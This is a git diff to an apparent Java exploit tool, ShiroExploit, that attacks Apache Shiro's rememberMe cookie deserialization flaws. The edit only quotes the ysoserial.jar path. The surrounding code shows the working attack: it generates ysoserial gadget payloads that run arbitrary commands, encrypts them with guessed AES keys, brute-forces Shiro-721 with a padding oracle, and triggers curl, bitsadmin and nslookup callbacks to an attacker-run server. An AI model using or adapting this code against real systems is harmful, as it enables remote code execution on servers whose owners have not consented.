diff --git a/src/main/java/com/shiroexploit/server/BasicHTTPServer.java b/src/main/java/com/shiroexploit/server/BasicHTTPServer.java
index d041f3d..4ae024e 100644
--- a/src/main/java/com/shiroexploit/server/BasicHTTPServer.java
+++ b/src/main/java/com/shiroexploit/server/BasicHTTPServer.java
@@ -104,7 +104,7 @@ private static void handleJRMPRequest(HttpExchange exchange) throws IOException{
             Thread thread = new Thread(new Runnable() {
                 @Override
                 public void run() {
-                    String command =  "java -cp " + System.getProperty("user.dir") + File.separator + "ysoserial.jar ysoserial.exploit.JRMPListener " + BasicHTTPServer.JRMPPort + " " + type + " \"" + finalCmd +"\"";
+                    String command =  "java -cp \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ysoserial.exploit.JRMPListener " + BasicHTTPServer.JRMPPort + " " + type + " \"" + finalCmd +"\"";
                     Tools.exec(command);
                 }
             });
diff --git a/src/main/java/com/shiroexploit/task/SendURLDNSPayloadTask.java b/src/main/java/com/shiroexploit/task/SendURLDNSPayloadTask.java
index 2e7783f..2e8b757 100644
--- a/src/main/java/com/shiroexploit/task/SendURLDNSPayloadTask.java
+++ b/src/main/java/com/shiroexploit/task/SendURLDNSPayloadTask.java
@@ -5,7 +5,6 @@
 import com.shiroexploit.util.HttpRequest;
 import com.shiroexploit.util.Tools;
 import javafx.concurrent.Task;
-
 import java.io.File;
 import java.util.List;
 
@@ -26,7 +25,7 @@ protected Integer call() throws Exception {
 
         List<String> keys = Config.getInstance().getKeys();
         for(int i = 0; i < keys.size(); i++){
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar URLDNS " + "http://" + (i+1) + "." + dns;
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + (i+1) + "." + dns;
             byte[] payload = Tools.exec(command);
             String rememberMe = AesEncrypt.encrypt(keys.get(i), payload);
             HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
diff --git a/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifierWithOutJRMP.java b/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifierWithOutJRMP.java
index 6b94c6a..7dce858 100644
--- a/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifierWithOutJRMP.java
+++ b/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifierWithOutJRMP.java
@@ -32,7 +32,7 @@ public void executeCmd(String cmd){
             System.out.println("[*] Using Gadget " + type.getName());
             System.out.println("[*] Executing command: " + cmd + "...");
 
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + type.getName() + " \"" + cmd + "\"";
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"" + cmd + "\"";
             byte[] result = Tools.exec(command);
             String rememberMe = AesEncrypt.encrypt(this.key, result);
 
@@ -54,7 +54,7 @@ private void sendAllCurlPayloadsWithAllKeys() throws ExploitFailedException {
                 //linux
                 for(String key : config.getKeys()){
                     String uuid = UUID.randomUUID().toString().replaceAll("-", "");
-                    String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + payloadType.getName() + " \"curl http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort() + "/gadget?uuid=" + uuid + "&type=" + payloadType.getName() + "\"";
+                    String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"curl http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort() + "/gadget?uuid=" + uuid + "&type=" + payloadType.getName() + "\"";
                     byte[] payload = Tools.exec(command);
                     String rememberMe = AesEncrypt.encrypt(key, payload);
                     HttpRequest.request(config.getRequestInfo(), rememberMe);
@@ -66,7 +66,7 @@ private void sendAllCurlPayloadsWithAllKeys() throws ExploitFailedException {
                     String uuid = UUID.randomUUID().toString().replaceAll("-", "");
                     String command = "bitsadmin /rawreturn /transfer getfile http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort()
                             + "/gadget?uuid=" + uuid + "%26type=" + payloadType.getName() + " C:\\windows\\temp\\download_834723.tmp";
-                    command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + payloadType.getName() + " \"" + command + "\"";
+                    command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + command + "\"";
 
                     byte[] payload = Tools.exec(command);
                     String rememberMe = AesEncrypt.encrypt(key, payload);
diff --git a/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingCeye.java b/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingCeye.java
index ba66b3e..eb6ba0e 100644
--- a/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingCeye.java
+++ b/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingCeye.java
@@ -46,7 +46,7 @@ public void executeCmd(String cmd){
             System.out.println("[*] Using Key " + this.key);
             System.out.println("[*] Using Gadget " + type.getName());
             System.out.println("[*] Executing command: " + cmd + "...");
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + type.getName() + " \"" + cmd + "\"";
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"" + cmd + "\"";
             byte[] result = Tools.exec(command);
             String rememberMe = AesEncrypt.encrypt(this.key, result);
 
@@ -65,11 +65,11 @@ private Map<String,PayloadType> sendAllCurlPayloads(){
             String command;
             if(config.getPlatform() == 0){
                 //linux
-                command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + payloadType.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\"";
+                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\"";
 
             }else{
                 //windows
-                command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + payloadType.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\"";
+                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\"";
             }
 
             byte[] payload = Tools.exec(command);
@@ -88,7 +88,7 @@ private Map<String,String> sendURLDNSPayloads(){
         for(String key : config.getKeys()){
             System.out.println("[*] Trying Key: " + key);
             String uuid = UUID.randomUUID().toString().replaceAll("-", "");
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar URLDNS " + "http://" + uuid + "." + config.getCeyeDomain();
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getCeyeDomain();
             byte[] payload = Tools.exec(command);
             String rememberMe = AesEncrypt.encrypt(key, payload);
             HttpRequest.request(config.getRequestInfo(), rememberMe);
diff --git a/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertWithJRMP.java b/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertWithJRMP.java
index 9e28935..9c4faec 100644
--- a/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertWithJRMP.java
+++ b/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertWithJRMP.java
@@ -134,7 +134,7 @@ public PayloadType getType(String name){
     private void process(PayloadType payloadType, String command, String key){
         Tools.setJRMPServer(config.getOOBServerAddress(), config.getHTTPServicePort(), payloadType, command);
 
-        command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
+        command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
         byte[] payload = Tools.exec(command);
         String rememberMe = AesEncrypt.encrypt(key, payload);
         HttpRequest.request(config.getRequestInfo(), rememberMe);
diff --git a/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithJRMP.java b/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithJRMP.java
index c8a0b06..3b69135 100644
--- a/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithJRMP.java
+++ b/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithJRMP.java
@@ -60,7 +60,7 @@ public void executeCmd(String cmd){
 
             Tools.setJRMPServer(config.getOOBServerAddress(), config.getHTTPServicePort(), gadget, cmd);
 
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
             byte[] result = Tools.exec(command);
             PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
             String rememberMe = null;
@@ -77,7 +77,7 @@ public void executeCmd(String cmd){
     private void process(String command, PayloadType payloadType) throws ExploitFailedException {
         Tools.setJRMPServer(config.getOOBServerAddress(), config.getHTTPServicePort(), payloadType, command);
 
-        command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
+        command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
         byte[] payload = Tools.exec(command);
         PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), payload);
         String rememberMe = paddingOracle.encrypt();
diff --git a/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithOutJRMP.java b/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithOutJRMP.java
index b3cbb04..333b289 100644
--- a/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithOutJRMP.java
+++ b/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithOutJRMP.java
@@ -27,14 +27,14 @@ public void getValidGadget() throws ExploitFailedException {
             String command;
             if(config.getPlatform() == 0){
                 //linux
-                command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + type.getName() + " \"curl http://" + config.getOOBServerAddress()
+                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"curl http://" + config.getOOBServerAddress()
                         + ":" + config.getHTTPServicePort() + "/gadget?uuid=" + uuid + "&type=" + type.getName() + "\"";
 
             }else{
                 //windows
                 command = "bitsadmin /rawreturn /transfer getfile http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort()
                         + "/gadget?uuid=" + uuid + "%26type=" + type.getName() + " C:\\windows\\temp\\download_834723.tmp";
-                command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + type.getName() + " \"" + command + "\"";
+                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"" + command + "\"";
             }
 
             byte[] result = Tools.exec(command);
@@ -64,7 +64,7 @@ public void executeCmd(String cmd){
             System.out.println("[*] Using Gadget " + gadget.getName());
             System.out.println("[*] Executing command: " + cmd + "...");
 
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + gadget.getName() + " \"" + cmd + "\"";
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + gadget.getName() + " \"" + cmd + "\"";
             byte[] result = Tools.exec(command);
             PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
             String rememberMe = null;
diff --git a/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingCeye.java b/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingCeye.java
index 615c57d..efe79e5 100644
--- a/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingCeye.java
+++ b/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingCeye.java
@@ -30,11 +30,11 @@ public void getValidGadget() throws ExploitFailedException {
             String command;
             if(config.getPlatform() == 0){
                 //linux
-                command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + type.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\"";
+                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\"";
 
             }else{
                 //windows
-                command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + type.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\"";
+                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\"";
             }
 
             byte[] result = Tools.exec(command);
@@ -65,7 +65,7 @@ public void executeCmd(String cmd){
             System.out.println("[*] Using Gadget " + gadget.getName());
             System.out.println("[*] Executing command: " + cmd + "...");
 
-            String command = "java -jar " + System.getProperty("user.dir") + File.separator + "ysoserial.jar " + gadget.getName() + " \"" + cmd + "\"";
+            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + gadget.getName() + " \"" + cmd + "\"";
             byte[] result = Tools.exec(command);
             PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
             String rememberMe = null;